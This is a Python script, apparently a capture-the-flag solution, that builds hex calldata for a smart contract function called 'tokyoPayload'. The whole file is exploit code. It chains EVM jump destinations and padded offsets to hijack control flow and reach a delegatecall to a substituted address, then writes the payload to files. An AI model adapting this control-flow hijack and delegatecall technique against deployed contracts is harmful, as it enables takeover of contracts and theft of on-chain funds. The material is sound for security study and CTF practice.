make_payload.py

BYTECODE_LOAD = "5b803591"
BYTECODE_GASLIMIT = "5b61015e60605160015556"
BYTECODE_DELEGATE = "5b6000816001600160a01b031660015461ffff1660405160006040518083038186"
BYTECODE_POP_4 = "5b5050505056"
BYTECODE_STOP = "5b00"

JUMPDEST_RET_FUNCS = "018f"

JUMPDEST_LOAD = "d0"
JUMPDEST_GASLIMIT = "0153"
JUMPDEST_DELEGATE = "01a3"
JUMPDEST_STOP = "93"
JUMPDEST_POP_4 = "018f"

x = "01c2"
l = "371d"
# JUMPDEST_GASLIMIT = "01b8"
# JUMPDEST_TOKYOPAYLOAD = "015d"
# JUMPDEST_TOKYOPAYLOAD_BYPASS = "0172"
# JUMPDEST_DELEGATECALL_BYPASS = "021a"
# JUMPDEST_POP_4 = "01a2"

# LAST_LOAD_ARGUMENT_INDEX = "02b0" # RET보단 길게


DUMMY = "DE"
SIG_tokyoPayload = "000040c3"

payload  = SIG_tokyoPayload # func sig
payload += "7b".rjust(64, "0") # x => 메모리 어디에 올릴 지
payload += JUMPDEST_LOAD.rjust(64, "0") # y => first call pointer and second call addr

payload += DUMMY * 1 # align




payload += DUMMY * (int(JUMPDEST_RET_FUNCS, 16) - len(payload) // 2)
payload += "aa".rjust(64, "0")
payload += JUMPDEST_LOAD.rjust(64, "0") # third call
payload += hex(len(payload)//2 + 32)[2:].rjust(64, "0") # second call's arg0

payload += JUMPDEST_STOP.rjust(64, "0") # dummy
payload += JUMPDEST_LOAD.rjust(64, "0") # fourth call
payload += hex(len(payload)//2 + 32)[2:].rjust(64, "0").rjust(64, "0") # third call's arg0

payload += JUMPDEST_STOP.rjust(64, "0") # ret
payload += JUMPDEST_GASLIMIT.rjust(64, "0") # fifth call
payload += hex(len(payload)//2 + 32)[2:].rjust(64, "0").rjust(64, "0") # fourth-call arg0

payload += "fe" * 32 # addr
payload += JUMPDEST_DELEGATE.rjust(64, "0") # fifth-call arg0 => x
payload += x.rjust(64, "0") # fifth-call arg1 => y -> sixth-call



payload += DUMMY * ((int(JUMPDEST_LOAD, 16)) * 0x20 - len(payload) // 2 + 5)

assert len(payload) // 2 == (int(JUMPDEST_LOAD, 16))* 0x20 + 5

payload += JUMPDEST_LOAD.rjust(64, "0") # first call addr

print(len(payload))
# pop x 4
# 0x1a3 + l - 0x80 = 0x20 * x
# l > len(payload)
# x = 450(0x1c2) => l = 14109(0x371d)

payload += DUMMY * (int(l, 16) - len(payload) // 2)

assert len(payload) // 2 == (int(l, 16))
payload += JUMPDEST_POP_4.rjust(64, "0")


# open("res.txt","w").write(payload)


addr = payload.find("fe" * 32)

open("res1.txt","w").write(payload[:addr])
open("res2.txt","w").write(payload[addr +64:])